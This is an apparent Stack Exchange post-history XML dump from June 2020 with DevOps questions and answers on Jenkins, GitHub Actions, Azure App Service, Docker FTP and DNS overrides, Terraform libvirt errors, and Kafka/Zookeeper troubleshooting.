  <row Id="36193" PostHistoryTypeId="1" PostId="11812" RevisionGUID="40c8c4cf-442c-4bdd-95ab-7df860785f61" CreationDate="2020-06-11T16:45:35.650" UserId="19112" Text="Remote connection from Docker container by FTP" ContentLicense="CC BY-SA 4.0" />
  <row Id="36194" PostHistoryTypeId="3" PostId="11812" RevisionGUID="40c8c4cf-442c-4bdd-95ab-7df860785f61" CreationDate="2020-06-11T16:45:35.650" UserId="19112" Text="&lt;docker&gt;&lt;linux&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36195" PostHistoryTypeId="2" PostId="11813" RevisionGUID="a6e79ab9-96d6-4490-8490-74b5abf2c5c0" CreationDate="2020-06-11T17:31:14.447" UserId="4115" Text="From the [Java API documentation for `hudson.model.User`](https://javadoc.jenkins-ci.org/hudson/model/User.html):&#xD;&#xA;&#xD;&#xA;&gt; `String` 	`getDisplayName()`&#xD;&#xA;&gt; Returns the user name.&#xD;&#xA;&gt;&#xD;&#xA;&gt; `String` 	`getFullName()`&#xD;&#xA;&gt; Gets the human readable name of this user.&#xD;&#xA;&gt;&#xD;&#xA;&gt; `String` 	`getId()`&#xD;&#xA;&#xD;&#xA;It's not clear to me from your question what data you want (I think it's the user ID?), so I'm not sure which of these methods will get you that data (`getId()`?).  But in any case, you would call the method like:&#xD;&#xA;&#xD;&#xA;    User.current().getId()" ContentLicense="CC BY-SA 4.0" />
  <row Id="36196" PostHistoryTypeId="2" PostId="11814" RevisionGUID="d199d5d3-388d-400b-9104-ac8a359184fd" CreationDate="2020-06-11T17:36:10.357" UserId="19112" Text="You do not need to include anything into your assembly to run your tests using GitHub Actions. Just create workflow file in .github/workflows folder with the following content (assuming that you have .NET Core project):&#xD;&#xA;&#xD;&#xA;``` yaml&#xD;&#xA;---&#xD;&#xA;name: Tests&#xD;&#xA;&#xD;&#xA;on: push&#xD;&#xA;&#xD;&#xA;jobs:&#xD;&#xA;  tests:&#xD;&#xA;    name: Unit Testing&#xD;&#xA;    runs-on: windows-latest&#xD;&#xA;    steps:&#xD;&#xA;      - uses: actions/checkout@v2.1.0&#xD;&#xA;      - run: dotnet test&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&gt; dotnet is pre-installed on windows machine but is not pre-installed on macos and ubuntu. So, you have to install dotnet by adding an extra step in case you want to run it on one of these machines. You can use [actions/setup-dotnet][1] action for this purpose.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/marketplace/actions/setup-net-core-sdk" ContentLicense="CC BY-SA 4.0" />
  <row Id="36197" PostHistoryTypeId="5" PostId="10499" RevisionGUID="0b56634c-ebf3-4584-be10-e98ed0b7d040" CreationDate="2020-06-12T05:14:55.043" UserId="22373" Comment="Removed unnecessary words" Text="Could You help me? I use **NUnit** framework to test my .NET project. And I want to run my tests via **GitHub Actions**. &#xD;&#xA;&#xD;&#xA;What should be included in the assembly of my project? Maybe there are some standard examples?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36198" PostHistoryTypeId="24" PostId="10499" RevisionGUID="0b56634c-ebf3-4584-be10-e98ed0b7d040" CreationDate="2020-06-12T05:14:55.043" Comment="Proposed by 22373 approved by 40 edit id of 1221" ContentLicense="CC BY-SA 4.0" />
  <row Id="36203" PostHistoryTypeId="2" PostId="11816" RevisionGUID="f65b98b1-9556-46e8-83a8-7705e38aa88e" CreationDate="2020-06-12T17:38:35.470" UserId="22720" Text="During the deployments, occasionally I experienced issue with files being in use by App Service and thus not overwritten with newer versions.&#xD;&#xA;&#xD;&#xA;There are [multiple recommendations][1] to overcome this problem:&#xD;&#xA;&#xD;&#xA; - Run your app from the ZIP package directly&#xD;&#xA; - Stop your app or enable offline mode for your app during deployment (using App_Offline.htm)&#xD;&#xA; - Deploy to a staging slot with auto swap enabled.&#xD;&#xA;&#xD;&#xA;I am exploring the [local cache option][2], to fix a different problem, and it is not compatible with ZIP deployments, as discussed [here][3]&#xD;&#xA;&#xD;&#xA;If I understand correctly, when using local cache, the ZIP with code is deployed to Storage Account, and then is loaded into memory on App Service restart.&#xD;&#xA;&#xD;&#xA;Does this mean, the issue with locked files is eliminated by using local cache, since the code is not run from the same place where it's deployed to?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/app-service/deploy-zip#what-happens-to-my-app-during-deployment&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/app-service/overview-local-cache&#xD;&#xA;  [3]: https://github.com/Azure/app-service-announcements/issues/84" ContentLicense="CC BY-SA 4.0" />
  <row Id="36204" PostHistoryTypeId="1" PostId="11816" RevisionGUID="f65b98b1-9556-46e8-83a8-7705e38aa88e" CreationDate="2020-06-12T17:38:35.470" UserId="22720" Text="Does local cache solve the problem with locked files when deploying to Azure App Service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36205" PostHistoryTypeId="3" PostId="11816" RevisionGUID="f65b98b1-9556-46e8-83a8-7705e38aa88e" CreationDate="2020-06-12T17:38:35.470" UserId="22720" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36206" PostHistoryTypeId="5" PostId="11816" RevisionGUID="61160a38-9047-4081-9a03-c1141a3c6e56" CreationDate="2020-06-12T17:49:16.067" UserId="22720" Comment="added 9 characters in body" Text="During the deployments, occasionally I experienced issue with files being in use by App Service and thus not overwritten with newer versions.&#xD;&#xA;&#xD;&#xA;There are [multiple recommendations][1] to overcome this problem:&#xD;&#xA;&#xD;&#xA; - Run your app from the ZIP package directly&#xD;&#xA; - Stop your app or enable offline mode for your app during deployment (using App_Offline.htm)&#xD;&#xA; - Deploy to a staging slot with auto swap enabled.&#xD;&#xA;&#xD;&#xA;I am exploring the [local cache option][2], to fix a different problem, and it is not compatible with running from ZIP feature, as discussed [here][3]&#xD;&#xA;&#xD;&#xA;If I understand correctly, when using local cache, the ZIP with code is deployed to Storage Account, and then is loaded into memory on App Service restart.&#xD;&#xA;&#xD;&#xA;Does this mean, the issue with locked files is eliminated by using local cache, since the code is not run from the same place where it's deployed to?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/app-service/deploy-zip#what-happens-to-my-app-during-deployment&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/app-service/overview-local-cache&#xD;&#xA;  [3]: https://github.com/Azure/app-service-announcements/issues/84" ContentLicense="CC BY-SA 4.0" />
  <row Id="36207" PostHistoryTypeId="50" PostId="11533" RevisionGUID="e834daf1-f3d3-414a-bd17-fbe94f22e866" CreationDate="2020-06-13T10:00:45.077" UserId="-1" />
  <row Id="36208" PostHistoryTypeId="50" PostId="11365" RevisionGUID="5ee6f8bc-70a7-4889-ba49-b0eba62ee850" CreationDate="2020-06-13T11:04:05.373" UserId="-1" />
  <row Id="36214" PostHistoryTypeId="5" PostId="11812" RevisionGUID="c20b67c8-bf12-4035-a459-998f2e888853" CreationDate="2020-06-13T17:19:14.643" UserId="19112" Comment="deleted 28 characters in body" Text="I built my docker image and run it:&#xD;&#xA;&#xD;&#xA;    docker run --rm -P -d test:latest&#xD;&#xA;Then I entered the command and opened connection:&#xD;&#xA;&#xD;&#xA;    ftp&#xD;&#xA;    open XXX&#xD;&#xA;I successfully connected and entered user data. After that I try to execute:&#xD;&#xA;&#xD;&#xA;    ls&#xD;&#xA;And received these messages:&#xD;&#xA;&#xD;&#xA;    200 Command okay.&#xD;&#xA;    425 Can't open data connection.&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;I run a Linux image from Windows cmd.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36218" PostHistoryTypeId="2" PostId="11818" RevisionGUID="1ed33acf-8835-429d-9ec6-4297bdb5268a" CreationDate="2020-06-14T09:47:31.280" UserId="8956" Text="I am not sure I know the terminology to describe this correctly, my apologies.&#xD;&#xA;&#xD;&#xA;But for a contrived example. Say I have a docker container that runs code that accesses &quot;google.com&quot;. But I want all requests that the container sets to &quot;google.com&quot; to actually go to &quot;facebook.com&quot;. In other words I want the DNS lookup of one domain name to use another domain when reloving. Is there a way to do this with docker or docker-compose?&#xD;&#xA;&#xD;&#xA;My ask is a bit more than this, because I know that often multiple websites are hosted on the same server (same IP), so I need a way for the conversion to happen at the domain name level, not at the IP level.&#xD;&#xA;&#xD;&#xA;Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="36219" PostHistoryTypeId="1" PostId="11818" RevisionGUID="1ed33acf-8835-429d-9ec6-4297bdb5268a" CreationDate="2020-06-14T09:47:31.280" UserId="8956" Text="Trick a docker containers DNS to resolve a different url" ContentLicense="CC BY-SA 4.0" />
  <row Id="36220" PostHistoryTypeId="3" PostId="11818" RevisionGUID="1ed33acf-8835-429d-9ec6-4297bdb5268a" CreationDate="2020-06-14T09:47:31.280" UserId="8956" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36221" PostHistoryTypeId="2" PostId="11819" RevisionGUID="a1c3f2da-5de8-4a67-91cb-def42348edb6" CreationDate="2020-06-14T10:35:06.260" UserId="17218" Text="I wanted to spin up a test environment locally using the description from this stackoverflow answer:&#xD;&#xA;https://stackoverflow.com/a/58607900/4397899&#xD;&#xA;&#xD;&#xA;The main.tf looks like&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;################################################################################&#xD;&#xA;# ENV VARS&#xD;&#xA;################################################################################&#xD;&#xA;&#xD;&#xA;# https://www.terraform.io/docs/commands/environment-variables.html&#xD;&#xA;&#xD;&#xA;variable &quot;VM_COUNT&quot; {&#xD;&#xA;  default = 3&#xD;&#xA;  type = number&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;variable &quot;VM_USER&quot; {&#xD;&#xA;  default = &quot;developer&quot;&#xD;&#xA;  type = string&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;variable &quot;VM_HOSTNAME&quot; {&#xD;&#xA;  default = &quot;ci-vm&quot;&#xD;&#xA;  type = string&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;variable &quot;VM_IMG_URL&quot; {&#xD;&#xA;  default = &quot;https://cloud-images.ubuntu.com/releases/bionic/release/ubuntu-18.04-server-cloudimg-amd64.img&quot;&#xD;&#xA;  type = string&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;variable &quot;VM_IMG_FORMAT&quot; {&#xD;&#xA;  default = &quot;qcow2&quot;&#xD;&#xA;  type = string&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;variable &quot;VM_CIDR_RANGE&quot; {&#xD;&#xA;  default = &quot;10.10.10.10/24&quot;&#xD;&#xA;  type = string&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;################################################################################&#xD;&#xA;# PROVIDERS&#xD;&#xA;################################################################################&#xD;&#xA;&#xD;&#xA;# instance the provider&#xD;&#xA;provider &quot;libvirt&quot; {&#xD;&#xA;  uri = &quot;qemu:///system&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;################################################################################&#xD;&#xA;# DATA TEMPLATES&#xD;&#xA;################################################################################&#xD;&#xA;&#xD;&#xA;# https://www.terraform.io/docs/providers/template/d/file.html&#xD;&#xA;&#xD;&#xA;# https://www.terraform.io/docs/providers/template/d/cloudinit_config.html&#xD;&#xA;data &quot;template_file&quot; &quot;user_data&quot; {&#xD;&#xA;  template = file(&quot;${path.module}/cloud_init.cfg&quot;)&#xD;&#xA;  vars = {&#xD;&#xA;    VM_USER = var.VM_USER&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;template_file&quot; &quot;network_config&quot; {&#xD;&#xA;  template = file(&quot;${path.module}/network_config.cfg&quot;)&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;################################################################################&#xD;&#xA;# RESOURCES&#xD;&#xA;################################################################################&#xD;&#xA;&#xD;&#xA;resource &quot;libvirt_pool&quot; &quot;vm&quot; {&#xD;&#xA;  name = &quot;${var.VM_HOSTNAME}_pool&quot;&#xD;&#xA;  type = &quot;dir&quot;&#xD;&#xA;  path = &quot;/tmp/terraform-provider-libvirt-pool-ubuntu&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# We fetch the latest ubuntu release image from their mirrors&#xD;&#xA;resource &quot;libvirt_volume&quot; &quot;vm&quot; {&#xD;&#xA;  count  = var.VM_COUNT&#xD;&#xA;  name   = &quot;${var.VM_HOSTNAME}-${count.index}_volume.${var.VM_IMG_FORMAT}&quot;&#xD;&#xA;  pool   = libvirt_pool.vm.name&#xD;&#xA;  source = var.VM_IMG_URL&#xD;&#xA;  format = var.VM_IMG_FORMAT&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# Create a public network for the VMs&#xD;&#xA;resource &quot;libvirt_network&quot; &quot;vm_public_network&quot; {&#xD;&#xA;   name = &quot;${var.VM_HOSTNAME}_network&quot;&#xD;&#xA;   mode = &quot;nat&quot;&#xD;&#xA;   domain = &quot;${var.VM_HOSTNAME}.local&quot;&#xD;&#xA;   addresses = [&quot;${var.VM_CIDR_RANGE}&quot;]&#xD;&#xA;   dhcp {&#xD;&#xA;    enabled = true&#xD;&#xA;   }&#xD;&#xA;   dns {&#xD;&#xA;    enabled = true&#xD;&#xA;   }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# for more info about paramater check this out&#xD;&#xA;# https://github.com/dmacvicar/terraform-provider-libvirt/blob/master/website/docs/r/cloudinit.html.markdown&#xD;&#xA;# Use CloudInit to add our ssh-key to the instance&#xD;&#xA;# you can add also meta_data field&#xD;&#xA;resource &quot;libvirt_cloudinit_disk&quot; &quot;cloudinit&quot; {&#xD;&#xA;  name           = &quot;${var.VM_HOSTNAME}_cloudinit.iso&quot;&#xD;&#xA;  user_data      = data.template_file.user_data.rendered&#xD;&#xA;  network_config = data.template_file.network_config.rendered&#xD;&#xA;  pool           = libvirt_pool.vm.name&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# Create the machine&#xD;&#xA;resource &quot;libvirt_domain&quot; &quot;vm&quot; {&#xD;&#xA;  count  = var.VM_COUNT&#xD;&#xA;  name   = &quot;${var.VM_HOSTNAME}-${count.index}&quot;&#xD;&#xA;  memory = &quot;1024&quot;&#xD;&#xA;  vcpu   = 1&#xD;&#xA;&#xD;&#xA;  cloudinit = &quot;${libvirt_cloudinit_disk.cloudinit.id}&quot;&#xD;&#xA;&#xD;&#xA;  # TODO: Automate the creation of public network&#xD;&#xA;  network_interface {&#xD;&#xA;    network_id = &quot;${libvirt_network.vm_public_network.id}&quot;&#xD;&#xA;    #network_id = &quot;6d8e2494-835d-4baf-a14f-3a5c705febcc&quot;&#xD;&#xA;    #network_name = &quot;vm_docker_network&quot;&#xD;&#xA;    network_name = &quot;${libvirt_network.vm_public_network.name}&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  # IMPORTANT&#xD;&#xA;  # Ubuntu can hang is a isa-serial is not present at boot time.&#xD;&#xA;  # If you find your CPU 100% and never is available this is why.&#xD;&#xA;  #&#xD;&#xA;  # This is a known bug on cloud images, since they expect a console&#xD;&#xA;  # we need to pass it:&#xD;&#xA;  # https://bugs.launchpad.net/cloud-images/+bug/1573095&#xD;&#xA;  console {&#xD;&#xA;    type        = &quot;pty&quot;&#xD;&#xA;    target_port = &quot;0&quot;&#xD;&#xA;    target_type = &quot;serial&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  console {&#xD;&#xA;    type        = &quot;pty&quot;&#xD;&#xA;    target_type = &quot;virtio&quot;&#xD;&#xA;    target_port = &quot;1&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  disk {&#xD;&#xA;    volume_id = &quot;${libvirt_volume.vm[count.index].id}&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  graphics {&#xD;&#xA;    type        = &quot;spice&quot;&#xD;&#xA;    listen_type = &quot;address&quot;&#xD;&#xA;    autoport    = true&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;################################################################################&#xD;&#xA;# TERRAFORM CONFIG&#xD;&#xA;################################################################################&#xD;&#xA;&#xD;&#xA;terraform {&#xD;&#xA;  required_version = &quot;&gt;= 0.12&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The network_config.cfg looks like this&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: 2&#xD;&#xA;ethernets:&#xD;&#xA;  ens3:&#xD;&#xA;     dhcp4: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Steps to Reproduce Issue&#xD;&#xA;&#xD;&#xA;Run&#xD;&#xA;```&#xD;&#xA;terraform init&#xD;&#xA;terraform apply&#xD;&#xA;```&#xD;&#xA;Then I get the error message:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error: Error creating libvirt network: virError(Code=38, Domain=0, Message='error creating bridge interface ci-vm_network-br: Numerical result out of range')&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36222" PostHistoryTypeId="1" PostId="11819" RevisionGUID="a1c3f2da-5de8-4a67-91cb-def42348edb6" CreationDate="2020-06-14T10:35:06.260" UserId="17218" Text="Terraform fails on creating network with libvirt provider" ContentLicense="CC BY-SA 4.0" />
  <row Id="36223" PostHistoryTypeId="3" PostId="11819" RevisionGUID="a1c3f2da-5de8-4a67-91cb-def42348edb6" CreationDate="2020-06-14T10:35:06.260" UserId="17218" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36224" PostHistoryTypeId="50" PostId="11614" RevisionGUID="8255a6d3-cb15-4cc9-996b-46eb5527d569" CreationDate="2020-06-14T14:02:50.280" UserId="-1" />
  <row Id="36226" PostHistoryTypeId="2" PostId="11820" RevisionGUID="825e7003-bef4-435a-86a5-1dab1ee388cf" CreationDate="2020-06-15T03:30:22.727" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="36227" PostHistoryTypeId="1" PostId="11820" RevisionGUID="825e7003-bef4-435a-86a5-1dab1ee388cf" CreationDate="2020-06-15T03:30:22.727" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="36228" PostHistoryTypeId="2" PostId="11821" RevisionGUID="6ef04d0a-b7d2-4adf-855a-41f29e6d767a" CreationDate="2020-06-15T03:30:22.727" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="36229" PostHistoryTypeId="1" PostId="11821" RevisionGUID="6ef04d0a-b7d2-4adf-855a-41f29e6d767a" CreationDate="2020-06-15T03:30:22.727" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="36230" PostHistoryTypeId="5" PostId="11821" RevisionGUID="a3e0010f-c317-4e36-aef1-21d6700358a8" CreationDate="2020-06-15T05:14:13.017" UserId="17329" Comment="added 55 characters in body" Text="Questions related to the usage of Elasticsearch Kibana." ContentLicense="CC BY-SA 4.0" />
  <row Id="36231" PostHistoryTypeId="24" PostId="11821" RevisionGUID="a3e0010f-c317-4e36-aef1-21d6700358a8" CreationDate="2020-06-15T05:14:13.017" Comment="Proposed by 17329 approved by 40 edit id of 1222" ContentLicense="CC BY-SA 4.0" />
  <row Id="36232" PostHistoryTypeId="2" PostId="11822" RevisionGUID="eef5f2fb-524b-4f00-a7bb-6194abd80d76" CreationDate="2020-06-15T13:02:32.947" UserId="12757" Text="You could have a separate API gateway for that kind of traffic.&#xD;&#xA;&#xD;&#xA;Check out the &quot;*Variation: Backends for frontends*&quot; section of the following article:&#xD;&#xA;&#xD;&#xA;https://microservices.io/patterns/apigateway.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36237" PostHistoryTypeId="34" PostId="11763" RevisionGUID="46f22ba5-f985-4d44-8ec8-11ae615255b2" CreationDate="2020-06-15T21:04:48.353" UserId="8251" Comment="57" />
  <row Id="36238" PostHistoryTypeId="2" PostId="11824" RevisionGUID="64dd4dac-a7ba-4960-889f-0e942677e45d" CreationDate="2020-06-16T04:30:22.787" UserId="18045" Text="I think i've scoured every post on this topic but haven't found my specific scenario. (Maybe that means I'm building the wrong thing OR i've built something unique and new? The former is far more likely) &#xD;&#xA;&#xD;&#xA;I have a multibranch pipeline in Jenkins being triggered by webhooks from GitHub. I want to automatically tag the repo being built only when a PR from `develop|release|hotfix` branches are closed and merged to `master`. &#xD;&#xA;&#xD;&#xA;What I want to drill in on is how to identify when a `master` branch build is triggered by the merge from a PR, and not from anything else. I _don't_ want to tag if `master` builds due to a non-PR merge. (This would allow updating readmes and code comments without generating a new tag.)&#xD;&#xA;&#xD;&#xA;I'm getting the tag string from a file in the repo, and I know how to use the PR builder to identify the source and target of a pull request for `when` conditions. I know how to get the JSON build information and pull data out, but what I want doesn't seem to be there. &#xD;&#xA;&#xD;&#xA;`when { changeRequest target: 'master' }` only identifies the PR build, not the `master` build that results when the PR is closed and merged. &#xD;&#xA;&#xD;&#xA;`when { branch 'master' }` obviously identifies a `master` branch build, but how can I limit it to only build when the build is triggered the merge from a closed PR?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36239" PostHistoryTypeId="1" PostId="11824" RevisionGUID="64dd4dac-a7ba-4960-889f-0e942677e45d" CreationDate="2020-06-16T04:30:22.787" UserId="18045" Text="How to determine if a Jenkins build is triggered by a Pull Request merged to Master" ContentLicense="CC BY-SA 4.0" />
  <row Id="36240" PostHistoryTypeId="3" PostId="11824" RevisionGUID="64dd4dac-a7ba-4960-889f-0e942677e45d" CreationDate="2020-06-16T04:30:22.787" UserId="18045" Text="&lt;jenkins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36241" PostHistoryTypeId="5" PostId="11365" RevisionGUID="587c8767-6881-4fb7-ba70-63d774758cca" CreationDate="2020-06-16T04:56:42.157" UserId="22373" Comment="Removed unnecessary words" Text="I have a public Azure DevOps project, and I want to allow everyone to add Work Items.&#xD;&#xA;&#xD;&#xA;However, adding the **Readers group as a member of Contributors** for the permissions doesn't change anything, and I can't find *&quot;Add Work Items&quot;* but only the *&quot;Delete Work Items&quot;* toggle for changing its own Readers perms so I am really stuck here.&#xD;&#xA;&#xD;&#xA;The contributors perms:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Having to add every mail account to allow people to add work items isn't possible in my situation (Game Engine project) so I really have to find a solution.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/twqAh.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="36242" PostHistoryTypeId="24" PostId="11365" RevisionGUID="587c8767-6881-4fb7-ba70-63d774758cca" CreationDate="2020-06-16T04:56:42.157" Comment="Proposed by 22373 approved by 40 edit id of 1224" ContentLicense="CC BY-SA 4.0" />
  <row Id="36243" PostHistoryTypeId="2" PostId="11825" RevisionGUID="f790a657-8662-4f1f-853b-7bf7162b3d01" CreationDate="2020-06-16T07:24:38.340" UserId="17329" Text="We are running confluent helm chart on a lot of clusters, we occasionally get brokers pods failing after some time and no self-heal after is following, the error in the broker usually is the following:&#xD;&#xA;```&#xD;&#xA;[main-SendThread(confluent-{env}-cp-zookeeper-headless:{port})] INFO org.apache.zookeeper.ClientCnxn - Opening socket connection to server confluent-{env}-cp-zookeeper-headless/{ip:port}. Will not attempt to authenticate using SASL (unknown error)&#xD;&#xA;[main] ERROR io.confluent.admin.utils.ClusterStatus - Timed out waiting for connection to Zookeeper server [confluent-{env}-cp-zookeeper-headless:{port}.&#xD;&#xA;```&#xD;&#xA;Is anybody experiencing this and is there any guidance how to automate handling or fix this behavior? The only thing I understand is that Zookeper is not responsive for some reason, but Zookeper pods are up and broker ones are down. In one of Zookeper pods I see the following:&#xD;&#xA;```[2020-06-15 12:07:30,737] ERROR Unexpected exception causing shutdown while sock still open (org.apache.zookeeper.server.quorum.LearnerHandler)&#xD;&#xA;[2020-06-15 13:02:18,902] WARN Connection broken for id 2, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:07,010] WARN Connection broken for id 2, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:07,010] WARN Connection broken for id 1, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:08,244] ERROR Unhandled scenario for peer sid: 3 fall back to use snapshot (org.apache.zookeeper.server.quorum.LearnerHandler)&#xD;&#xA;```&#xD;&#xA;We are on k8s 1.14.3 and running the following version of the confluent chart: cp-helm-charts-0.4.0&#xD;&#xA;&#xD;&#xA;My assumption is after any distruption the connection between both sides is lost and not handled to reconnect?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36244" PostHistoryTypeId="1" PostId="11825" RevisionGUID="f790a657-8662-4f1f-853b-7bf7162b3d01" CreationDate="2020-06-16T07:24:38.340" UserId="17329" Text="Confluent Kafka helm chart - broker pods not being able to communicate to Zookeper overtime" ContentLicense="CC BY-SA 4.0" />
  <row Id="36245" PostHistoryTypeId="3" PostId="11825" RevisionGUID="f790a657-8662-4f1f-853b-7bf7162b3d01" CreationDate="2020-06-16T07:24:38.340" UserId="17329" Text="&lt;kafka&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36246" PostHistoryTypeId="5" PostId="11794" RevisionGUID="e2800c61-a0d9-4e42-9fd8-faca73db3314" CreationDate="2020-06-16T07:27:40.180" UserId="17329" Comment="added 181 characters in body; edited title" Text="We are using Confluent Kafka cluster on production K8s.&#xD;&#xA;It looks like our consumers are stuck in a loop as offset is static and lag keeps going up.&#xD;&#xA;When I restart zookeper/brokers (persistent volume) the offset moves by a small amount and then it is stuck again. I have checked my consumers and only 1 of them has assigned something, that is processed and all assignments finish after. What happens on consumer side is that sometimes we have an error, we tried ignoring the message but Kafka is still affected. What can be done outside of the default config. We are not sure why message are stopped being consumed or it looks like there is some loop state leading to attempting to process same message over and over agian." ContentLicense="CC BY-SA 4.0" />
  <row Id="36247" PostHistoryTypeId="4" PostId="11794" RevisionGUID="e2800c61-a0d9-4e42-9fd8-faca73db3314" CreationDate="2020-06-16T07:27:40.180" UserId="17329" Comment="added 181 characters in body; edited title" Text="Confluent Kafka on K8s - offset is stuck, lag increases, what can be done?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36248" PostHistoryTypeId="2" PostId="11826" RevisionGUID="ae8cb495-d0a6-487e-a3f0-940de6519945" CreationDate="2020-06-16T07:29:30.403" UserId="17329" Text="Things we have checked were what happens with the background io queue and the buffer. It turned out our producers were ok as lag was increasing, but as offset was static on check of consumer handlers it turned out we don't send acknowledgement to Kafka on read, leading to Kafka sending the same message after timeout on each attempt to consume. On java code side we have just made sure to send ack." ContentLicense="CC BY-SA 4.0" />
  <row Id="36249" PostHistoryTypeId="2" PostId="11827" RevisionGUID="9241d8f1-6bac-4a11-a05c-00968e596d7f" CreationDate="2020-06-16T07:43:45.553" UserId="20101" Text="If you want a DNS lookup of one domain to resolve to another one, you have 2 options.&#xD;&#xA;&#xD;&#xA; 1. Modify the Container /etc/hosts file. By default any DNS lookup is done there. You schould do that in the Dockerfile. &#xD;&#xA;&#xD;&#xA;[Modify /etc/hosts in a Dockerfile][1]&#xD;&#xA;&#xD;&#xA; 2. Maintain your own DNS servers with all mapping records. On container runtime just pass the DNS server.&#xD;&#xA;&#xD;&#xA;[Docker docs][2]&#xD;&#xA;&#xD;&#xA;&gt; &#xD;&#xA;--dns	The IP address of a DNS server. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/38302867/how-to-update-etc-hosts-file-in-docker-image-during-docker-build&#xD;&#xA;  [2]: https://docs.docker.com/config/containers/container-networking/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36250" PostHistoryTypeId="2" PostId="11828" RevisionGUID="adf16569-bc3c-4542-8071-9ab7bc9104fa" CreationDate="2020-06-16T08:55:45.223" UserId="9148" Text="You might try installing the [GitHub Integration][1] plugin. Reading [their documentation][2], they provide a number of environment variables you can use for your purpose.&#xD;&#xA;&#xD;&#xA; 1. `GITHUB_PR_STATE` can be `OPEN`, `CLOSE`&#xD;&#xA; 2. `GITHUB_PR_SOURCE_BRANCH` for the source branch (e.g., `hotfix/foo`)&#xD;&#xA; 3. `GITHUB_PR_TARGET_BRANCH` or `master`&#xD;&#xA;&#xD;&#xA;Using the when condition, you can run a job/stage when it's a closed PR merging into the `master` branch using:&#xD;&#xA;&#xD;&#xA;    when { &#xD;&#xA;      allOf { &#xD;&#xA;        expression { env.GITHUB_PR_STATE == &quot;CLOSE&quot; }&#xD;&#xA;        expression { env.GITHUB_PR_TARGET_BRANCH == &quot;master&quot; }&#xD;&#xA;        expression { env.GITHUB_PR_SOURCE_BRANCH == &quot;hotfix/foo&quot; }&#xD;&#xA;      } &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/github-pullrequest/&#xD;&#xA;  [2]: https://github.com/KostyaSha/github-integration-plugin/blob/master/docs/Configuration.adoc" ContentLicense="CC BY-SA 4.0" />
